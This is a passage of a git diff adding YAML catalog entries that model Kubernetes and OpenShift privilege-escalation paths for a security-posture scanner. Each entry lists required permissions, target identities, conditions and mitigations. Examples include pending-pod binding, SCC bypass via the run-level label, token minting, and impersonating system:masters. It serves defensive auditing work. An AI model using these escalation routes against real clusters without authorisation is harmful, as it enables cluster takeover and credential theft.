gatekeeper_constraint] + confidence: conditional + severity: medium + mitigation: Do not grant nodes, nodes/status, pods/status or Node delete permissions to non-node identities; use dedicated node pools with taints for privileged workloads. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + - https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/ + notes: Replacement triggers and exclusion methods follow HackTricks node-permissions-and-status.md#delete-pods--unschedulable-nodes and dosing-other-nodes.md#cause-a-replacement-pod / #taints-cordon-and-eviction (a66f094ede). Composite path; source_selector source_reaches_kind k8s_node keeps the edge only when the source is a node or a chain in the same run reaches one (then condition source_reaches_k8s_node_via_chain). Kubelets restore their reported capacity, so the window is timing dependent. + +- id: k8s-nodes-pods-binding-pending-pod-to-controlled-node + provider: k8s + service: nodes + title: Bind a pending pod to a controlled node with pods/binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + source_revision: 2415fadfbd + summary: A source that already controls a node can obtain the privileges of the ServiceAccount of a pending (unscheduled) pod by binding that pod to its node with pods/binding or the legacy bindings resource. + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + - - {verb: create, resource: pods, subresource: binding, namespace: "{target.namespace}"} + - - {verb: create, resource: bindings, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_pending_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pending pods in {cluster}" + conditions: + - id: pod_still_pending_at_bind_time + description: The pod must still be unscheduled when the Binding is created; the scheduler may place it first. + - id: not_a_node_credential + description: Default node credentials cannot bind pods (NodeRestriction); the binding grant must belong to a non-node identity. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Grant pods/binding and bindings create only to the scheduler; keep privileged workloads on dedicated, tainted node pools. + references: + - https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/binding-v1/ + notes: HackTricks (171e422) states direct scheduling with create pods/binding or core bindings assigns an unscheduled pod to a node, bypassing the scheduler's placement decision; creating or modifying the pod is a separate permission. k8s_sa_used_by_pending_pod targets ServiceAccounts of collected pods with status.phase Pending and no spec.nodeName. The pod's token is then readable from the controlled node. + +- id: k8s-nodes-attract-pending-pod-to-controlled-node + provider: k8s + service: nodes + title: Attract a pending pod to a controlled node through node labels or status, or pod nomination + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + source_revision: 2415fadfbd + summary: A source that already controls a node can obtain the privileges of the ServiceAccount of a pending pod by making that node the scheduler's choice (adding the label the pod's nodeSelector requires, forging capacity, or setting the pod's nominated node). + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + - - {verb: patch, resource: nodes, subresource: status, namespace: "*"} + - - {verb: update, resource: nodes, subresource: status, namespace: "*"} + - - {verb: patch, resource: nodes, namespace: "*"} + - - {verb: update, resource: nodes, namespace: "*"} + - - {verb: patch, resource: pods, subresource: status, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, subresource: status, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_pending_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pending pods in {cluster}" + conditions: + - id: pod_pending_for_missing_placement + description: The pod must be pending because no node satisfies its nodeSelector/affinity or capacity needs (or, for nominatedNodeName, because scoring prefers another node); the label or forged status must make the controlled node feasible before another node becomes so. + - id: node_write_name_matches_controlled_node + description: If nodes or nodes/status permission has resourceNames, an allowed node name must be the node already controlled by the source. + - id: hard_filters_still_apply + description: Taints, tolerations, resource requests and admission still apply; pods/status nomination does not bypass hard filters. + - id: kubelet_reconciles_status + description: Kubelets restore forged nodes/status capacity and conditions; labels added through /status persist on legacy strategies. + - id: not_a_node_credential + description: Default node credentials cannot label or status-patch other objects freely (NodeRestriction); the grants must belong to a non-node identity. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant nodes, nodes/status or pods/status writes to non-node identities; place sensitive workloads on node pools selected by labels under the node-restriction.kubernetes.io/ prefix, which kubelets cannot self-assign. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction + notes: HackTricks (a66f094ede) reproduced a non-node identity adding a scheduling label through nodes/status that scheduled a pending nodeSelector pod onto the node, forged capacity/image status attracting eligible pods, and pods/status nominatedNodeName selecting a feasible attacker node. The scheduler (not admission) places the pod, so no admission blocker applies. Complements k8s-nodes-pods-binding-pending-pod-to-controlled-node (direct binding). diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml new file mode 100644 index 0000000000..38915ec337 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml @@ -0,0 +1,309 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# OpenShift-specific techniques (SCC, privileged projects, run-level label, Tekton); each needs the +# k8s_openshift_cluster precondition. The dangling ServiceAccount reference lives in rbac.yaml. +# Conventions: see header of rbac.yaml. "Host SCC" = an SCC that allows privileged containers or +# host directory volumes (default: privileged, hostaccess, hostmount-anyuid, +# node-exporter); custom SCCs with allowPrivilegedContainer or allowHostDirVolumePlugin qualify. +# Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-openshift-scc-use-host-scc + provider: k8s + service: openshift + title: Use a host-access SCC and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc.md#use-scc + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by creating pods admitted under a host-access SCC it may use. + requires: + all_of: + - verb: create + resource: pods + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_source_host_scc_path: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: scc_direct_users_groups + description: The selector checks both namespace-scoped RBAC use grants and SCC users/groups entries against a collected SCC that permits privileged containers or host filesystem mounts. + - id: other_admission_blocks_host_access + description: Other admission policies may still reject the pod. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Grant use on privileged/host SCCs only to platform ServiceAccounts; never to users, groups or system:authenticated. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: SCC admission checks the requesting user and the pod's ServiceAccount. This entry is the requesting-user path, so the source must create the Pod directly. Host filesystem mounts without privileged containers remain conditional because UID and SELinux restrictions may limit access. + +- id: k8s-openshift-scc-via-namespace-sa + provider: k8s + service: openshift + title: Create pods as a ServiceAccount that may use a host-access SCC + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc.md#use-scc + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by creating pods (or controllers) as a ServiceAccount of the namespace that may use a host-access SCC. + requires: + all_of: [] + any_of: + - - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + # Repoint an existing controller to the SCC ServiceAccount and a host-access pod template. + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_namespace_has_sa_with_host_scc: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: controller_object_exists + description: The patch/update alternatives require an existing controller in the namespace covered by the grant. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Keep ServiceAccounts with privileged SCC access in namespaces where untrusted subjects cannot create workloads. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The selector requires some ServiceAccount in the pivot namespace that may use a host SCC, either through RBAC use on security.openshift.io securitycontextconstraints or through the SCC object's users[] (system:serviceaccount::) / groups[] (e.g. system:serviceaccounts:), which the K8s collector now collects and the effective-permissions hook evaluates. That ServiceAccount itself is already reached by pods create (workloads.yaml). + +- id: k8s-openshift-privileged-default-projects + provider: k8s + service: openshift + title: Create pods in OpenShift namespaces without SCC admission + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#privileged-namespaces + source_revision: a66f094ede + summary: The source can obtain node privileges by creating host-privileged pods in an OpenShift default project or an existing namespace carrying openshift.io/run-level. + requires: + all_of: [] + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: default} + - {verb: create, resource: deployments, api_group: apps, namespace: default} + - {verb: create, resource: daemonsets, api_group: apps, namespace: default} + - {verb: create, resource: statefulsets, api_group: apps, namespace: default} + - {verb: create, resource: replicasets, api_group: apps, namespace: default} + - {verb: create, resource: replicationcontrollers, namespace: default} + - {verb: create, resource: jobs, api_group: batch, namespace: default} + - {verb: create, resource: cronjobs, api_group: batch, namespace: default} + - - any_of: + - {verb: create, resource: pods, namespace: kube-system} + - {verb: create, resource: deployments, api_group: apps, namespace: kube-system} + - {verb: create, resource: daemonsets, api_group: apps, namespace: kube-system} + - {verb: create, resource: statefulsets, api_group: apps, namespace: kube-system} + - {verb: create, resource: replicasets, api_group: apps, namespace: kube-system} + - {verb: create, resource: replicationcontrollers, namespace: kube-system} + - {verb: create, resource: jobs, api_group: batch, namespace: kube-system} + - {verb: create, resource: cronjobs, api_group: batch, namespace: kube-system} + - - any_of: + - {verb: create, resource: pods, namespace: kube-public} + - {verb: create, resource: deployments, api_group: apps, namespace: kube-public} + - {verb: create, resource: daemonsets, api_group: apps, namespace: kube-public} + - {verb: create, resource: statefulsets, api_group: apps, namespace: kube-public} + - {verb: create, resource: replicasets, api_group: apps, namespace: kube-public} + - {verb: create, resource: replicationcontrollers, namespace: kube-public} + - {verb: create, resource: jobs, api_group: batch, namespace: kube-public} + - {verb: create, resource: cronjobs, api_group: batch, namespace: kube-public} + - - any_of: + - {verb: create, resource: pods, namespace: openshift-node} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift-node} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: replicationcontrollers, namespace: openshift-node} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift-node} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift-node} + - - any_of: + - {verb: create, resource: pods, namespace: openshift-infra} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: replicationcontrollers, namespace: openshift-infra} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift-infra} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift-infra} + - - any_of: + - {verb: create, resource: pods, namespace: openshift} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift} + - {verb: create, resource: replicationcontrollers, namespace: openshift} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift} + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_namespace_without_scc: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Never grant workload creation in OpenShift default/system projects to untrusted subjects. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The fixed alternatives cover Red Hat's six default projects. The pivot alternative requires a collected existing namespace with openshift.io/run-level before it permits any other namespace. + +- id: k8s-openshift-run-level-label-existing-namespace + provider: k8s + service: openshift + title: Add the openshift.io/run-level label to a namespace and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#namespace-label + source_revision: a66f094ede + summary: The source can obtain the privileges of nodes by labelling a namespace so SCCs are not applied and creating host-privileged pods there. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_unlabeled_existing_namespace: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + - id: admission_protects_run_level_label + description: A Gatekeeper/VAP policy rejecting the reserved label removes the edge. + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Prevent untrusted subjects from modifying namespaces and reject the openshift.io/run-level label via admission. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Namespaces that already carry the label are reached with workload creation alone through k8s-openshift-privileged-default-projects. + +- id: k8s-openshift-run-level-label-new-namespace + provider: k8s + service: openshift + title: Create a namespace with the openshift.io/run-level label and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#namespace-label + source_revision: a66f094ede + summary: The source can obtain the privileges of nodes by creating a namespace where SCCs are not applied and creating host-privileged pods in it. + requires: + all_of: + - {verb: create, resource: namespaces, namespace: "*"} + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + - id: admission_protects_run_level_label + description: A Gatekeeper/VAP policy rejecting the reserved label removes the edge. + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Restrict namespace creation (users normally create projects through projectrequests, which do not set this label). + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Requires create on namespaces (not projectrequests) and pods create effective in the new namespace (cluster-wide grant). + +- id: k8s-openshift-scc-users-missing-serviceaccount + provider: k8s + service: openshift + title: Create a missing ServiceAccount named in an SCC users list + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the SCC privileges granted to a non-existent ServiceAccount named in an SCC's users list by creating that ServiceAccount and running pods as it. + requires: + all_of: + - {verb: create, resource: serviceaccounts, namespace: "{target.namespace}"} + - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_missing_in_host_scc_users: true + scope: cluster + aggregate_as: "ServiceAccounts named in SCC users of {cluster}" + conditions: + - id: scc_grant_is_host_level + description: The named SCC must allow privileged or host access, and the named ServiceAccount must be absent from an existing namespace; these facts are checked from the inventories. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Remove SCC users entries whose ServiceAccount no longer exists. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The selector accepts only missing ServiceAccounts named in host-access SCC users[] entries within an existing namespace. If the namespace is missing too, see k8s-rbac-serviceaccount-in-absent-namespace. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml new file mode 100644 index 0000000000..0567637554 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml @@ -0,0 +1,1064 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes RBAC-plane privilege-escalation techniques (secrets, tokens, impersonation, +# bind/escalate, CSR). Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. +# +# Conventions used across catalog/k8s/*.yaml (see SCHEMA EXTENSIONS in the agent report): +# namespace: "{target.namespace}" -> the effective grant (RoleBinding in that namespace, or a +# ClusterRoleBinding) must cover the namespace of the target. +# namespace: "{pivot.namespace}" -> one namespace P in which EVERY requirement using +# {pivot.namespace} holds at the same time; blockers and selectors +# that mention the pivot are evaluated against P. +# namespace: "*" -> cluster-wide grant (ClusterRoleBinding) or cluster-scoped resource. +# resource_name: -> the rule must cover that object name (no resourceNames, or the +# name is listed). {target.name} = name of the target object. +# api_group omitted -> core group "". +# source_kind (top level) -> the source is an identity of that kind rather than any RBAC +# subject holding the listed permissions (requires may be empty). + +- id: k8s-rbac-secrets-read-legacy-sa-token + provider: k8s + service: rbac + title: Read Secrets containing legacy ServiceAccount tokens + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#verified-legacy-serviceaccount-token-secret + source_revision: c3052fe8de + summary: The source can obtain the privileges of ServiceAccounts in the namespace that have a kubernetes.io/service-account-token Secret. + requires: + all_of: [] + any_of: + - - verb: get + resource: secrets + namespace: "{target.namespace}" + - - verb: list + resource: secrets + namespace: "{target.namespace}" + - - verb: watch + resource: secrets + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_has_legacy_token_secret: true + k8s_challenge_fact: k8s-rbac-secrets-read-legacy-sa-token + scope: same_namespace + aggregate_as: "ServiceAccounts with legacy token Secrets in {target.namespace}" + conditions: + - id: legacy_sa_token_secret_exists + description: A reviewed evidence record must bind the exact Secret UID and version to this ServiceAccount and prove that its token was accepted by the API server; metadata alone does not prove a usable token. + - id: get_requires_secret_name + description: The exact get, list or watch action must be authorized for the named Secret and a read of that Secret must have succeeded. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove get/list/watch on secrets from non-admin subjects, delete legacy service-account-token Secrets and rely on bound projected tokens. + references: + - https://kubernetes.io/docs/concepts/security/service-accounts/ + - https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#legacy-serviceaccount-token-cleaner + notes: The typed k8s_privesc_challenge_evidence proof must freshly attest the exact source, target ServiceAccount, Secret UID/version, accepted audience and subject, usable token, successful Secret read, and at least one effective permission previously denied to the source. Secret values are never stored. Reading other Secret types (cloud keys, kubeconfigs) can also yield identities, but those targets are not derivable from inventory and are excluded. + +- id: k8s-rbac-secrets-create-sa-token-secret + provider: k8s + service: rbac + title: Create a ServiceAccount token Secret and read it back + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#creating-and-reading-secrets + source_revision: 683485eae7 + summary: The source can obtain the privileges of any ServiceAccount in the namespace by having the token controller populate a token Secret it can read. + requires: + all_of: + - verb: create + resource: secrets + namespace: "{target.namespace}" + any_of: + - - verb: get + resource: secrets + namespace: "{target.namespace}" + - - verb: list + resource: secrets + namespace: "{target.namespace}" + - - verb: watch + resource: secrets + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_challenge_fact: k8s-rbac-secrets-create-sa-token-secret + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_blocks_sa_token_secret + description: A reviewed proof must verify that creation was admitted, the token controller populated the exact Secret, and the API server accepted its token as the named ServiceAccount; admission rejection or an inert Secret removes the edge. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not combine create and read on secrets for non-admin subjects; deny creation of kubernetes.io/service-account-token Secrets via admission policy. + references: + - https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#manually-create-an-api-token-for-a-serviceaccount + notes: The typed k8s_privesc_challenge_evidence record must bind the source, target ServiceAccount, exact Secret UID/version, successful create and read, accepted token subject/audience, and at least one effective permission previously denied to the source. A get rule limited to resourceNames works only if it includes the chosen name; Secret metadata alone never creates this path. + +- id: k8s-rbac-serviceaccounts-token-create + provider: k8s + service: rbac + title: Mint tokens with the TokenRequest API + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#create-serviceaccounts-token + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts on which it can create serviceaccounts/token. + requires: + all_of: + - verb: create + resource: serviceaccounts + subresource: token + namespace: "{target.namespace}" + resource_name: "{target.name}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: serviceaccounts/token:create + scope: same_namespace + aggregate_as: "ServiceAccounts tokenable in {target.namespace}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Grant create on serviceaccounts/token only to the kubelet/system components that need it, scoped with resourceNames. + references: + - https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/ + notes: resourceNames on serviceaccounts/token restrict which ServiceAccounts can be targeted (the request names the existing ServiceAccount). Nodes get this implicitly for pods bound to them; that case is modelled in nodes.yaml. + +- id: k8s-rbac-impersonate-serviceaccounts + provider: k8s + service: rbac + title: Impersonate ServiceAccounts + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts it may impersonate. + requires: + all_of: + - verb: impersonate + resource: serviceaccounts + namespace: "{target.namespace}" + resource_name: "{target.name}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: serviceaccounts:impersonate + scope: same_namespace + aggregate_as: "Impersonable ServiceAccounts in {target.namespace}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on serviceaccounts from non-admin subjects or restrict it with resourceNames to low-privilege accounts. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Per Kubernetes docs, impersonating a username of the form system:serviceaccount:: is authorized against the serviceaccounts resource in that namespace, not against users. The impersonated SA username also receives the system:serviceaccounts groups only if the source additionally impersonates them; RBAC bindings to the SA subject apply either way. + +- id: k8s-rbac-impersonate-users + provider: k8s + service: rbac + title: Impersonate users + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the users it may impersonate. + requires: + all_of: + - verb: impersonate + resource: users + namespace: "*" + resource_name: "{target.name}" + target: + kind: k8s_user + selector: + resource_permission_covers_target: users:impersonate + scope: cluster + aggregate_as: "Impersonable users in {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on users from non-admin subjects or restrict it with resourceNames. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Users are not API objects; the reachable set is the user names that appear as subjects in RoleBindings/ClusterRoleBindings (only those carry privileges). Usernames of the form system:serviceaccount:* are covered by k8s-rbac-impersonate-serviceaccounts, and system:node:* by k8s-rbac-impersonate-node. + +- id: k8s-rbac-impersonate-groups + provider: k8s + service: rbac + title: Impersonate groups (with user impersonation) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the groups it may impersonate. + requires: + all_of: + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "{target.name}" + - verb: impersonate + resource: users + namespace: "*" + target: + kind: k8s_group + selector: + resource_permission_covers_target: groups:impersonate + exclude_names: ["system:masters"] + scope: cluster + aggregate_as: "Impersonable groups in {cluster}" + conditions: + - id: user_impersonation_name_restricted + description: Group impersonation requires impersonating some user in the same request; a users resourceNames restriction only limits which user name is sent, any covered name suffices. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on groups from non-admin subjects; never allow impersonation of system:masters or groups bound to admin roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Verified in Kubernetes docs that Impersonate-Group requires Impersonate-User. Without impersonate on users this entry does not apply. system:masters is handled by k8s-rbac-impersonate-system-masters. + +- id: k8s-rbac-impersonate-system-masters + provider: k8s + service: rbac + title: Impersonate the system:masters group + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin through the system:masters group, which bypasses RBAC. + requires: + all_of: + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "system:masters" + - verb: impersonate + resource: users + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Never grant impersonate on groups without resourceNames; explicitly exclude system:masters. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles + notes: Members of system:masters are authorized unconditionally by the API server before RBAC. + +- id: 